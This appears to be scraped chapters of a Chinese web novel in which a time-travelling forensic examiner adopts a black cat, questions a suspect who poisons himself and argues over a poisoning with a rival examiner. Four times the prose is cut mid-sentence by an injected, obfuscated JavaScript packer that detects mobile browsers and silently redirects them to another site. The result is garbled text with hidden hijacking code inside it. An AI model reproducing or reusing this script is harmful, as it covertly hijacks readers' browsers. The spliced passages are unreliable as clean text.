一进院子,黑猫就从钱满怀里逃窜下来,对院子迅速视察了一圈,然后才满意地蹲在了钱满脚边。 这小东西似乎对它的新家很满意。 “花妮,好好看看,这就是你的新家了——” “喵呜!” 黑猫撕扯这钱满的裤腿,似乎对这个名字很不满。 刚才商钰叫它什么来着?云云? 刘楚玉听到动静走出了房门,看到突然出现的黑猫吓得大叫了一声,这一嗓子把黑猫也给吓着了,只见它顺着钱满的腿蹭蹭几下就爬到了她的肩膀,底气不足地“喵呜”了一声。 钱满觉得好笑,这混账东西,还是个欺软怕硬的。 “小满啊,”刘楚玉声音哆嗦着,“这,这黑猫哪儿来的啊?这眼睛也太吓人了!” “父亲,这猫是……”钱满话语一转,“是七皇子捡到的,他拜托我先养着。” 一听是七皇子的猫,刘楚玉也不好说什么,只是摆摆手让她拿到自己小院去。 钱家不是什么高门大户,但是院子也有前后两处,前院正房是钱明月两口子的住所,东西厢房是妹妹和弟弟的房间,小后院是钱满的地盘。 钱进和钱来读私塾还没有回来,一般情况下,丫头小侍也不会到后院来,钱满一人一猫难得清净。 回到自己房间,钱满又取出手术刀端详,想着自己这一遭离奇经历,也想着明天到底能不能有所收获,想想今天商钰的反应,她忍不住嘴角上扬。 她现在就是特别好奇,原主到底是因为什么和商钰这么多年针锋相对的,按理说,钱家这种小门户和皇家扯不上关系啊……唯一的可能就是,爷爷家那边的关系,也就是说刘楚玉必然清楚这里面的原委。 等到这案子了解,定要好好问问清楚。 钱满正拿着手术刀琢磨事儿,就听到身后呼啦一声,黑猫突然炸了毛冲着她的手臂飞奔而来,毫不客气地给了她一爪子。 “喵!喵呜!” 黑猫的叫声有些不寻常,凄厉中带着怒火,一双黄色的眸子带着寒光,这与之前在街上初遇到钱满的时候还不太一样,小东西愤怒似乎还有些害怕。 “呜呜~喵呜~” 黑猫喉咙含糊不清地吼叫着,仿佛是幽怨的谩骂。 钱满看看手中的手术刀,又看看突然炸毛的黑猫,噗嗤一声笑出声来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244885|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小叛徒,你看看清楚,如果不是这把刀,你早就死了!” 钱满话音刚落,就听到院子里传来动静,应该是家里那俩小的放学回来了。 “哪儿有猫啊?” “父亲说了有那就是有了!” 俩人也没有敲门的习惯,呼呼啦啦就进来了,钱来手里还拿着一串糖葫芦。 听到钱满骂黑猫是小叛徒,钱进不乐意了,“大姐,虽然七皇子那人不讨喜,但是这只猫是无辜的,你怎么能叫他小叛徒呢?” “就是就是,它好乖啊,黑黑,你想吃糖葫芦吗?” 钱满有些头疼,这俩娃真是太吵了。 “它都不跟着自己主人了,不是叛徒是什么?”钱满叹口气,“要不,你们给它起个名字吧?” 钱进皱着眉头思虑半天,道:“今天夫子教了一首诗:黑云翻墨未遮山,白雨跳珠乱入船,我看它就叫黑云吧。” 黑云? 倒是比那老太太叫的“花妮”顺口,比“云云”霸气。 钱满很满意:“好,它就叫黑云了。” 黑猫瞪着眼睛没有做声,应该是对“黑云”这个名字还算满意。 - 或许换了环境,也或许是原主的这幅躯体更加年轻的缘故,钱满现在的睡眠状态比之前可是好太多了,这几日几乎都是沾床就眠。 但今晚钱满睡得有些不太踏实。 迷迷糊糊中,她好像觉得自己到了一个漆黑的树林,她不知道自己要去做什么,只是脚步不停地向前,前面领路的不是别人,正式今天带回家的黑猫。 真是个不省心的小东西啊。 黑猫在前面奔跑着,钱满也不自觉地跟着跑了起来,就这么跑了一会儿,画面陡然一转,一人一猫来到了一个视野开阔的湖边。 湖水映射着空中的圆月,竟给人一种如同白昼的错觉。 钱满不认得这个地方,事实上她对大虞的了解还十分有限,这两三日的活动范围也只是从家到四重门的这两道街,看着眼前的景致,她猜测着这定然不是城区了。 湖面远处是绵延的群山,夜幕下只剩下一层淡淡的轮廓,只是她还没来得及欣赏景色,就听到了一些奇怪的声音。 叽叽喳喳的,似乎是人凑在一起的低语,又像是某种小动物的叫声,总之,听不懂。 钱满又觉得手心一凉,低头一看,奇怪,手术刀怎么攥在手中呢? 这大概就是一场离奇的梦吧。 接下来更加离奇的事情发生了,钱满看到自己手中的手术刀竟然发出了浅蓝色的光芒,随着光芒一点点扩大,她好像听到“刷拉”一声。 刚刚还是听不懂的乱语,此刻已经成了她能够听懂的话了。 “宫里那些人类没什么好东西!” “也别那么说,七皇子就是好人啊!” “他一个人好有什么用!自己的小命都要保不住了!” “现在还好啦,这女人不是救了七皇子吗?” “哼,我看着这也是个不靠谱的……黑猫,你不会是为了邀功随便找一个蠢货来吧?” “哼。”一个傲娇的少年嗓音传来,“我看愚蠢的是你们吧,我的主子比你们聪明一百倍!” 钱满大惊,转眼对上了一双碧绿色的眼珠,黑猫已经化作了一个少年郎的模样,个头差不多到她的肩膀。 …… 喵! 钱满被一声有力的猫叫惊醒。 一人一猫对视良久,钱满拍了一下自己的脑袋,真是睡迷糊了,这畜生就是一只猫而已。 - 次日一早,钱满换了身干净衣服出了门。 她现在已经基本适应了这里的节奏,没有手机没有网络,日出日落就是参照,就是每日梳头是个麻烦事儿,好在冬阳那丫头手巧,眨眼功夫就能把钱满一头长发给打理好。 今日钱满梳的是简单的高髻,搭配一身月牙白的窄袖圆领长袍,干净利落,一改前几日灰扑扑的邋遢形象。 她也想通了,纵然有再大的压力,日子还是要一天天过,活一天就要把这一天的价值体验出来,面对商钰那张如花似玉的俊脸,自己也不能太跌份。 果然,商钰见到钱满眼睛都亮了。 钱满今日这般打扮,倒是人模人样的,有几分姿色。 两人照例还是在香料店的里间等候。 两两相对,免不了又是唇枪舌剑。 “今日打扮得有点人样了。” 钱满语气淡淡:“多谢殿下夸奖。” 拳头打在了棉花团上,商钰有些不痛快,正要反驳就听到外面传来脚步声。 “嘘!” 两人走到门口透过缝隙观看,屏气聆听。 一袭青色长衫的年轻男子来了便叫掌柜,轻车熟路,业务熟练,一看就是惯犯。 “薛掌柜,我家主子要的香料准备好了吗?” 薛清收了钱满五百两,自然记得自己的使命,他一脸笑容,“好了是好了,不过还要公子稍等片刻,小店今天盘点……” 青衣男子脸上有些不耐烦,“薛清,耽误了七皇子的事情你担待得起吗?” 嗯?! 竟然是打着七皇子旗号的? 屋内的两人对视了一眼,钱满挑挑眉,嘴角露出笑意。 商钰低声:“……我可不认识这人。” 外面薛清听到这人报了家门,连忙装出一副惶恐的样子,“哎呀,公子,小的真是不敢,这样,您到内室稍等,我这就给你把香料拿过来。” 内室里等候的两人此刻也打开了房门,这男子应该是不认识商钰,看到她们两人只是一愣,随即便呵斥掌柜,“薛掌柜,你们店的门槛也未免太低,什么闲杂人等都可以登堂入室了。” 钱满冲着掌柜摆摆手,薛清识趣地关闭了房门。 男子这才意识到不对劲,但已经晚了。 商钰哼笑了一声,“你是替七皇子办事的?” “是。”青衣男子故作镇定,“我劝你们不要多问,耽误了七皇子大事没你们好处。” “哦?”商钰笑了,“本宫怎么不知道,本宫身边还有你这般脸丑心毒的蠢货?” 9. 第 9 章 这位叫萧若的青衣男子暂时被关押在了四重门的讯问室。 这也是钱满第一次来到四重门的前院。 比起后面的行人房,这里真可谓是天上,整个四重门是一处巨大的三跨五进大院落,行人房只是西北角一个小偏院。 讯问室位于中院正房的半地下室,四周都是坚实的墙壁,只有墙壁上部有两个碗口大小的采光口。 钱满的目光落在表情麻木的男子身上。 这人看着二十出头,单纯看脸并不出众,但眉眼自带一股坚定从容,似乎对于自己身陷囹圄早有预料,早就做好了赴死的准备。 “钱大人不必麻烦了。”萧若语气淡淡,“你想知道什么,问就是。” 这么配合,怕是说不出什么真话来。 “四月初三上午,也就是五天前,你在哪里?” 萧若楞了一下,他大概是没想到七皇子身边这个女人真的会这么认真询问。 萧若从记事开始就知道自己的使命,他和他的众多伙伴一起被叫做“棋子”,唯一不同的是,有的人是活棋,有的人是死棋。 他们这种专门做“死差”的棋子,就是死棋,只要完成了使命,那便是死了,每活一刻都是多余的。 “小人那天受了主子吩咐来云深买香。”萧若抬眼看了钱满一眼,“想必你们已经跟掌柜核实过了。” 确实。 钱满:“你说的主子,就是七皇子?” 萧若突然笑了,“钱大人说是就是,其实,到底是谁钱大人早就猜到了吧,宫里想对付七皇子的就那么几个人,我说不说都一样。” 这话就有点意思了。 任何朝代都不乏深宫密辛,七皇子是皇帝面前的红人,姐姐商侑又是太女,大家都只看到他人前风光,这背后有多少敌人那就没法数得清了。 萧若的意思很明显,他背后的主子是宫里的人。 钱满觉得这事情有些棘手。 她不过是一个小小的行人助理,原本可以继续做个快乐的边角料,现在无端卷入这宫廷之争……绝对是祸非福。 但事情已然这样,她断然没有中途退缩的道理,更何况退缩也是死路一条。 无形中好像有一只手,已经在她看不见的地方牢牢抓住了她,而眼前这个男子,就好像是一个问路的石子,还有商钰那只小狐狸,恐怕一个二个都不清白。 钱满手指轻轻敲打着桌面,“你的意思是,指使你的人是七皇子的对家?” 但钱满的问题没有再得到回应。 萧若的笑意一点点凝固,消瘦的脸庞越发没有血色,下一秒他的嘴角留出暗红色血液,等到钱满反应过来,这人已经断气了。 钱满:…… 她现在就十分后悔,不该不听商钰的建议,不应该单独审讯这萧若的。 现在人在自己眼前死了,这里又没有监控,有口说不清了。 正头疼之际,身后传来脚步声。 李肖然的声音带着怒气:“钱满,这可是重要嫌犯,你把人弄死了……” 钱满脑子突然飞速运转,这个李肖然时间点卡得也太准确了吧? “李大人,”钱满转身盯着她,“你可真是未卜先知,莫非这个剧本是你创作的?” 李肖然一愣:“……什么剧本?” 钱满冷笑:“你是怎么知道人死了?” 李肖然一脸嫌弃,“……我们在观察窗看得真真的,你真以为你能从这人嘴里得到什么有用的信息啊!” 原来他们都知道!钱满目光落在了那两个观察口上,心里也有了对策。 “既然李大人都看到了,这萧若是自己了结了性命,与我无关,”钱满指着萧若,“他嘴角流出的血液极少,颜色乌青,死亡前有呼吸困难、抽搐的症状,如果我猜测不错,他应该是在嘴里藏了钩吻。” 李肖然还没说什么,就听到外面又传来一个人声音,“陆青杨,你去查验。” 片刻功夫,审讯室进来一人,此人身高极高,她一进来,原本光线就不好的审讯室更加阴暗了。 钱满目光与那人相对,目光中带着期待,之前总是听钱明月说“半边人”,今天总算有机会看到半边人验尸了。 不知道她们的刀有没有自己的手术刀锋利? 陆青杨三十出头,是四重门二组的副组长,她根本没把钱满放在眼里,甚至对跟她一样品级的李肖然也是一脸不屑。 “烦请李大人往后稍稍,你挡光了。” 钱满忍住笑,觉得这人还挺有意思。 身材宽胖的李肖然一脸不悦地退了两步,嘴里嘟囔着:“有把破刀了不起了?还不是花钱买的……” 嗯? 好像有八卦啊。 钱满支棱起耳朵准备吃瓜。 李肖然的这句话果然激怒了陆青杨,“李胖子,你就算有钱能买到?当年还不是我手下败将?” 李肖然气得脸上的肥肉都跟着颤动,“……跟你这种人多说无异,审理司还等着结案呢,赶快干活吧。” 两人斗嘴,钱满暗暗看戏,觉得两人半斤八两,大概是一丘之貉。 不过能在四重门做到中层干部的,应该也有两下子,就算没有两下子,也是个有背景的。 陆青杨哼了一声转身,快步走到萧若面前,先是查看了他的眼睛、抠鼻,又见她从左臂摸出一把黑色手柄的金属刀。 这大概就是李肖然说的“破刀”? 单纯看刀的样子,比自己的手术刀确实也好不了多少。 关于半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244886|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边人的“刀”,钱明月也没有跟钱满说太具体,她只是大概知道,这刀和人的能力是匹配的,半边人由于特殊的身体机制,修练的方法也与一般人不同,刀与人互相影响,相辅相成。 陆青杨动作极快,刀法娴熟,纵然是钱满也不得不佩服,她现在从下刀的熟练度来说,跟这人有差距。 半柱香不到的功夫,陆青杨已经把萧若里里外外都查验了一遍,不知道她用了什么技能, 刀口切得很整齐,甚至连出血都很少。 钱满不由得暗暗惊叹,这种手法要是在她原来的世界,一定是各大厅局抢着要的香饽饽啊。 只是陆青杨一开口,她又觉得自己高看这人了。 “此人确实是中毒死亡,但毒物应该是砷霜。”陆青杨说着看了一眼钱满,“钩吻主要提炼自断肠草,产于南地,中州这边极为少见。” 咳咳。 门外有人咳嗽了两声。 “钱满,你怎么看?” 突然被点名的钱满心里也有些忐忑,这里没有现代化的仪器可以分析成分,要断定毒物种类只能根据中毒后症状、尸体特征和经验,普通人谁也无法保证准确无误。 陆青杨那么笃定,想必运用了半边人的特殊能力了吧? 这就没法比了,钱满觉得自己大概是看走眼了,但说说自己真实的想法应该不犯法吧。 “大人,小的……有点儿不同的看法。”钱满顿了一下,“萧若从中毒到死亡时间极端,而且这个过程没有发呕吐,但有明显的抽搐,这两点与砷霜中毒后症状不尽相同,所以小人觉得还是钩吻更为符合一些。” “当然,这只是我的初步判断,刚才陆大人已经剖尸查验,我也需要再次查验之后才能确定。” 一个行人房的杂役竟然公然挑战半边人的权威,陆青杨脸都黑了,李肖然一脸看戏表情。 陆青杨:“症状只是判定条件之一,这人已经超过三个时辰没有进食,拿什么呕吐?至于抽搐,你确定看到的不是因为剧烈腹痛而导致的?还有,他口中有大蒜味,砷霜在体内作用后发出的味道……” 钱满没有说话,而是又走到了萧若跟前仔细查验。 萧若的皮肤组织并没有明显的颜色变化,内脏没有出现明显的坏死,尸师表也没有出现脱水迹象,至于味道……他身上确实有一股淡淡的蒜味。 不,是整个讯问室都有这种味道。 尤其是靠近李肖然的地方。 “李大人今天吃了几头蒜?” 众人沉默。 陆青杨这才反应过来,一脸杀气地看着李肖然。 一直在外面观察的苏城和宋沐风也觉得有意思。 苏城:“沐风,你眼光不错,我看陆副组长这次要输了。” 10. 第 10 章 010破案 其实,钱满也没有那么强的胜负心,她想着,要是能够确定这毒就是钩吻的话,她下一步查询的范围就进一步缩小了。 宫里的,南边的,有仇的,那就只剩下一个人了。 只是钱满更加犯愁了,就算是她有怀疑对象,也不可能到宫里搜查,案子再次陷入僵局。 大虞对于医馆,药店管理十分严格,能开私家医馆的,基本都有着官家背景,断肠草这种不寻常的剧毒药品就更是难寻。 这还不像是七蕊凝烟,难寻还能有个正常的去处可以找到。 死的方法明明有很多种,这人偏偏选择了断肠草,那么巧合地让钱满抓住,又那么巧合地死了。 讯问因为萧若的突然死亡结束,宋沐风让钱满回家等消息。 钱满走出四重门的后门,冷不丁地前面站了一个人挡住了去路。 是陆青杨。 钱满不明所以,“……陆大人,有事?” 这人专门在这个角落等着,见到人堵住路又不说话,这是什么毛病? 陆青杨盯着钱满看了一会儿,眼神中带着不解,这个小杂役她以前也见过啊,就是个废物,怎么突然之间好像是飞升了一般? 钱家的祖宗显灵了? 还是说钱明月那只老狐狸是个深藏不露的? 陆青杨阴沉着脸:“无事。” 看着钱满远去的背影,陆青杨就是觉得这世道不公,钱明月那种草包,论能力不及她的万分之一,凭什么还能待在四重门,明明不缺钱,还平日里装出一副清贫的模样。 而自己,为了一把刀就要积攒十几年的努力,现在又被钱满抢了风头,她钱家不就是有钱再加上有个好祖宗? 钱满还不知道自己已经又多了一个仇敌,她还单纯地想着,改天有机会向陆青杨请教一下刀法。 黑夜来临,没有现代城市的喧嚣,身体每一个部位的神经都似乎比过去灵敏了很多,就连黑猫轻轻的叫声都让钱满心惊。 “小黑子,瞎叫唤什么呢!” “喵呜!” 黑云圆目闪烁,在黑夜中像两只小灯泡,钱满突然睡意全无。 有种单枪匹马走进了死胡同的无力感。 思绪浮动,她想起了读书时候导师提及的话“狱事莫重于大辟,大辟莫重于初情,初情莫重于检验。”① 她们这一行当的祖师爷宋慈的这句话强调了前期细致的检验的重要性,每一次行动过程都会留下痕迹,但商钰的这个案子,痕迹太明显了。 巧合太多就是刻意,仿佛从一开始她就是被人牵着鼻子走,布局之人和破局之人较量,钱家就像是一张遮羞布。 只是钱满想不通,为什么是钱家? 记忆中有些迷糊的画面渐渐清晰。 “咱们钱家祖上也曾经风光无限呐!”钱明月感叹,“你的曾曾曾姥娘那可是四重门的第一把刀啊……” 刘楚玉显然已经听多了这般陈词滥调,“行了吧,这都是几辈子前的事情了,四重门早就和你们钱家没有关系了!” 钱明月:“这怎么能说没有关系?我和小满现在……不是还在四重门当值呢。” “……”刘楚玉噘着嘴,一脸愁容,“缝补尸体是多好的差事呢!” …… 钱家就算是先祖曾经风光,但最近三代人都平平无奇,到了钱明月这一代,唯一能拿得出手的便是家里这位不缺银两的夫郎,偏偏她娘又是个低调的人。 至于原主,钱满实在想不通钱家人到底是什么样的倒霉体质,竟然被搅到了这场浑水之中。 她还有一点想不通的就是,如果说商钰“假死”只是一个局,商钰能配合进入到这个局中,定然没想到自己会送命。 或者说,他笃定自己不会死,才会允许这么做。 那么漂亮的一张脸,虽然脾气臭嘴巴毒,就那么死了也还是可惜的。 只是他没想到的是,他们自以为是螳螂,人家黄雀已经在后,如果不是钱满误打误撞来到这里,恐怕这个小可怜连自己怎么死的都不知道呢。 商钰不知道,那么他背后的人呢? 那个被商钰口口声声称之为师父的人,在自己徒弟出了那么大事之后,还能保持着一脸云淡风轻的样子,钱满觉得,这个宋沐风也不是什么好货。 黑猫似乎感觉到钱满的情绪,也变得焦躁不安起来,对着床头的桌子嗷呜一声,尾巴竖了起来,浑身的毛炸着。 钱满对着黑猫肥硕的屁股来了一巴掌。 黑云突然转身与钱满对视,一双小灯泡闪烁着火焰,紧接着发出了一声凄惨的叫声。 好家伙,好像是钱满做了伤天害理的事情。只见它四只爪子用力抓着桌面,压低了重心,做出了准备扑上来拼命的姿势。 “哎哎哎——”钱满迅速用被子捂住了自己。 “喵呜!” 黑猫继续凄厉的叫着,钱满按兵不动,她才不上当呢,先让这个小畜生叫吧,她要睡觉了。 约莫过了一刻钟的功夫,钱满听到外面没有什么动静了,这才慢慢扯下被子露出脑袋。 “哈!” 冷不丁地对上一对玻璃珠眼睛,黑猫竟然还一动不动地趴在桌子上。 钱满眼睛一闭,做好了被攻击的准备,但想象中的战斗并没有打响,哗啦,黑猫竟然突然放弃了战斗,顺着门缝钻了出去,动作迅速得让钱满觉得好像是幻觉。 更加魔幻的是,钱满看到自己手里不知道何时竟然握着那把手术刀。 大概是刚才想着与黑猫战斗,自己下意识地从床边的桌子上拿的吧。 钱满笑笑收好刀,她算是知道了,这小东西原来怕刀啊。 - 次日一早,钱家又来了官差,这一次是李肖然亲自来的。 李肖然一张胖脸看不出喜怒,钱满心中咯噔一下,莫非是案子又出现了新差头? “李大人,陛下给的七日之期还有三天呢。” 李肖然哈哈一笑,“哎,李某今日来不是来催你的,是来通知你们一个好消息的!老钱呢,我这先恭喜你们了啊!” 钱明月一头雾水,“我们……何喜之有?” 李肖然:“陷害七皇子的凶手找到了,而且已经伏法,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244887|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家小满这次立功了,苏大人已经禀明了陛下,你们就等着受赏吧,我就是顺便路过,先给你们通个气。” 李肖然走了,钱满整个人还是懵的,这可真是想瞌睡就来了枕头。 她正愁着没办法进行下一步检查呢,怎么就突然找到了凶手? 钱明月也觉得事情蹊跷,“小满,这到底是怎么回事?” “……”钱满也是一肚子疑惑,“母亲,具体的我也不清楚,咱们还是等着陛下的旨意吧。” 皇帝的旨意来得很快,当天上午就到了。 最后伏诛的凶手是宫内的一个贵侍,袁嘉兴。 说起来也是巧了,萧若被抓住之后,皇后突然下了一道旨意,说要对后宫各个小主的住所进行搜查,由头是皇后宫里丢了重要物品。 至于这个重要物品是什么,无人而知,后来有没有找到,也没了下文,但偏偏在袁贵侍的寝宫找到了断肠草和七蕊凝烟。 后宫君侍使用七蕊凝烟不算犯忌,但私藏断肠草这种剧毒之药便是死罪了,更何况那个已经死了的萧若是袁贵侍的远房亲戚。 更巧的是,袁贵侍偏偏与商钰的父亲周贵君有旧怨,他在几年前就曾经把商钰推到了荷花池中。 搜出东西之后,袁嘉兴看到事情败露,抢了断肠草,当场服毒,畏罪自杀了。 有前科,有作案动机,又有和案子匹配的证据,再加上人证,一应俱全,简直是完美。 商钰被害的案子就这么突然柳暗花明了,皇帝给的一周时间只用了三天,案子水落石出,皇帝也很高兴,当下解除了钱家的嫌疑,还给了钱满一百两黄金作为奖励。 看着那一排金灿灿的金子,钱满却有些高兴不起来。 只要是个不傻的,应该都能看出来,这案子疑点还有很多,萧若和袁贵侍的死亡都过于仓促,所有线索、证据都来的太容易了。 简直就像是在考场上抓耳挠腮不知道答案,突然有人拿过你的笔,给你写出了正确答案。 但这个答案真的正确吗? 钱满心事重重,但钱家其他人显然没有想那么多,尤其是刘楚玉,他高兴地张罗了一桌子好菜,杀鸡宰鱼,庆祝一家子解除嫌疑。 不管怎么样,家人获得了平安,这便是好事一桩,钱满暂时忘记了烦恼,与母亲小酌了几杯。 要是放在以前,钱明月是万万不敢贪杯的,但今天刘楚玉高兴,恩准了她可以尽兴。 只是这人酒量太一般了,几杯酒下肚,说话就有些不着边际了。 “……小满呐,想当年我们钱家先祖可是四重门的第一把刀啊!你曾曾曾姥娘……” 刘楚玉一脸嫌弃,“又来了!” 但今天的气氛很好,刘楚玉没有扫兴,她打了个哈欠带着两位年幼的孩子先行进屋休息,留下钱满母女两人边吃边聊。 钱满好奇:“母亲,我……那个姥娘很厉害啊?” 钱明月看着女儿,满眼欣慰,“小满,我原本以为我们钱家也就这样了,但你现在让我看到了希望,我觉得是你曾曾曾姥娘显灵了,你跟我到祠堂来……” 钱满:…… 11. 第 11 章 虽然觉得母亲的话不靠谱,但钱满对钱家的祠堂还是有点好奇。 母女两人来到祠堂,钱满以为看到的应该是祖宗牌位或者画像之类,但万没想到映入眼帘的是一把刀。 确切地说,这应该是一把解剖用的刀。 刀柄黑色的,整把刀通长约有七八寸,刀尖竟然与现代的手术刀并无二致。 只是大约这把刀太久没有人使用,刀锋已经没了光芒,上面有些斑驳的霉点,看起来很有沧桑感。 不知道是不是钱满的错觉,她只觉得仿佛一阵阵凉风吹进了脑海,紊乱的气息翻腾,冰火两重天的分裂感再次袭来。 隐约之中,她似乎听到了一个微弱的声音—— “你终于来了~~” 钱满使劲儿眨了眨眼睛,努力让自己平静下来,后背一阵阵发凉,祖宗显灵这种事情,她还真的没有经历过。 不过很快她就释然了,连穿越这么离谱的事情都经历了,见识一下老祖宗的威力那还不是基本操作。 然而这种诡异的感觉转瞬即逝,耳边传来钱明月的叹息。 “唉,小满呐。”钱明月指着供桌上的刀,神色庄重,“这把刀就是你曾曾曾姥娘当年用过的刀,不要看现在它其貌不扬,当年可是咱们大虞第一把天刀。” 钱满:“……天刀是什么?” 老天爷赐给的? 钱明月长叹一声,酒醒了大半,看着一脸懵懂的女儿,她心里五味杂陈,祖上的这些故事她也是从上一辈人口中得知,虽然从她的姥娘那一代钱家就已经坠入平庸,但这些历史依然是钱家每一位家主心中最大的骄傲。 “……这就得从百年前的那场混战开始。”钱明月像是换了一个人一般,说话的语气与她平日里唯唯诺诺的形象截然相反,“仙族,物宗,人类为了争夺地盘展开了一场混战,最后三败俱伤,仙族退居到北地昆仑,西南地是物宗的地盘,以中州为核心的中原被人类占据。” “但是,这只是一个大概的界定,事实上不管是北地、西南还是我们中原,都是鱼龙混杂,冲突不断,好在后来有了半边人。” “这个世界三六九等,我们人类不过是在夹层中生存,但有一种人天生身体特殊,她们的身体一半与普通人无异,而另一半……是可以激发仙元或者物元,也可能两者兼之。” 钱明月的话说得不紧不慢,她原来以为自己穿过来的这个世界是女尊世界已经够离谱了,现在看来,还是她的认知太浅薄了。 “半边人的使命除了剖尸查验,另一个更重要的使命就是抓出那些在人类仙族物宗游走的败类,维护整个世界的秩序……四重门,半边人,是我们每一个修练元道的人类的终极目标啊!只可惜,你母亲我没有这个缘分……” 钱满:这不就是和咱们公安干警的任务差不多? “能不能成为一个合格的半边人是个复杂的问题,即便是半边人的后代,也可能一辈子感知不到身体的变化,即便是足够幸运能够感知到身体的变化,也可能一辈子没办法激发仙元、物元……唉,我们钱家曾经是何其的风光,但从我的姥娘那一代,咱们家再也没有出过半边人了。” 钱满听得一知半解,猛然间想起前几日在四重门后墙时候的经历,她拿着那把手术刀,感觉自己的身体似乎被分裂成了两半,一半热血沸腾,一半如凝寒冰。 看着钱明月一脸不甘的表情,钱满心里有些不是滋味,或许是这幅躯体包含着一部分原主的情感,她已经下意识把眼前的女人当做了亲人。 钱满劝慰道:“……工作其实也只是分工不同,母亲和我在四重门虽然只是不入流的杂役,但同样也为四重门做出了贡献啊!再说,母亲也说了,每个人的情况都不同,或许是母亲觉醒比较晚呢?” 钱明月一脸欣慰地看着女儿,笑着摆摆手,“我已然是这样,原本娘对你也没有太高的要求,但是……哎,小满你脸怎么了?” 钱明月一脸震惊地看着女儿,她虽然资质一般,但关于半边人她还是了解的,女儿的脸色一半红润一半莹白,这,这分明是半边人身体变化的先兆啊! 钱满摸摸脸,自己也吓了一跳,她的脸一边火热,一边冰冷。 钱明月也上前伸手触摸了一下,脸上露出激动的神情。 钱满一边观察着母亲的反应,一边说:“说来也是奇怪,自从那天给七皇子开胸之后,女儿就觉得身体有些不对劲……” 钱明月大喜,一把扶住女儿的手臂,“……此话当真?现在可是觉得身体犹如火焰与冰川共存,一边灼热一边冰冷?” 还真是这样。 不过就是只有那一次比较明显罢了。 她现在的感觉,更像是风寒入侵。 钱满不觉得自己真的会那么幸运,如果自己足够幸运,就不会一穿越就卷入到这乱七八糟的官司中了。 钱满:“……是有过那么一次。” 刚才那次应该不能算,大概是祠堂窗户透风引起的。 钱明月突然痛哭流涕,一下子跪倒在那斑驳的旧刀面前,“祖宗显灵了啊,明月感谢列祖列宗保佑,咱们钱家后继有人了!” 钱满想着解释什么的,但看到她娘这么激动,实在没张开嘴打击。 算了,万一是真的呢。 - 另一边,璇珂宫。 案子告破,商钰的脸上却丝毫看不到喜色。 他在这个皇宫生活了十几年,皇宫里的那些猫腻他很清楚,什么丢了东西,什么私藏违禁物品,什么认证物证,还不是有些人一句话的事? 商钰忍不住抱住了自己的肩膀,四月暖春,他却觉得彻骨的寒冷。 他就那么把自己关在房间呆坐着,心里反复想着宋沐风说的那句话—— “有些真相,你还是不知道的好。” 但商钰觉得自己有权利知道,他也很想知道,所以即便是赌上自己的性命也在所不惜……只是现在,他也不知道接下来的路到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244888|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该怎么走了。 那只无形之中的手已经察觉到了,并以迅雷之势结束了这场闹剧,这无疑就是给他的警告。 连宋沐风都束手无策的事情,他如果再纠结的话,那一下次就可能就是真死了……不对,其实这次如果没有钱满的误打误撞,自己早就是真死了。 钱满,想到这个人,商钰的表情有了些许的松动,也不知道那憨货在做什么,解除了钱家的嫌疑,她现在应该很高兴吧? 哼,钱满高兴,商钰就觉得有些不痛快。 突然门外传来了李琥的声音。 “殿下,唐公子来了。” 紧接着就听到一阵急促的脚步声,还没等商钰出声,那人就已经走到了内殿,声音中带着急切—— “小鱼鱼,你都不知道我这几天是怎么过来的,”身着华服的男子张牙舞爪地就要扑过来,走到商钰面前又来了个急刹车,“听我母亲说,那个钱满在你身上动刀了……你没事吧?” 说话这位是左武威大将军唐文岳的二公子唐素,也是商钰最好的朋友,两人之前几乎天天见面,商钰出事之后,唐素就被家里禁足了,明面上说让他在家学习绣花。 其实,唐素自己心里也清楚,家里是不想着他搅合到七皇子这个离奇的案子中,再加上当时已经传出了商钰暴毙的消息,自己孩子又是商钰的至交,当然要第一时间摆脱嫌疑。 现在案子真相大白,唐素就迫不及待地过来了,一来他是真的想商钰了,二来他心里内疚得很,好友出了那么大的事情,他就只能做个缩头龟。 商钰表情淡淡,“没事。” 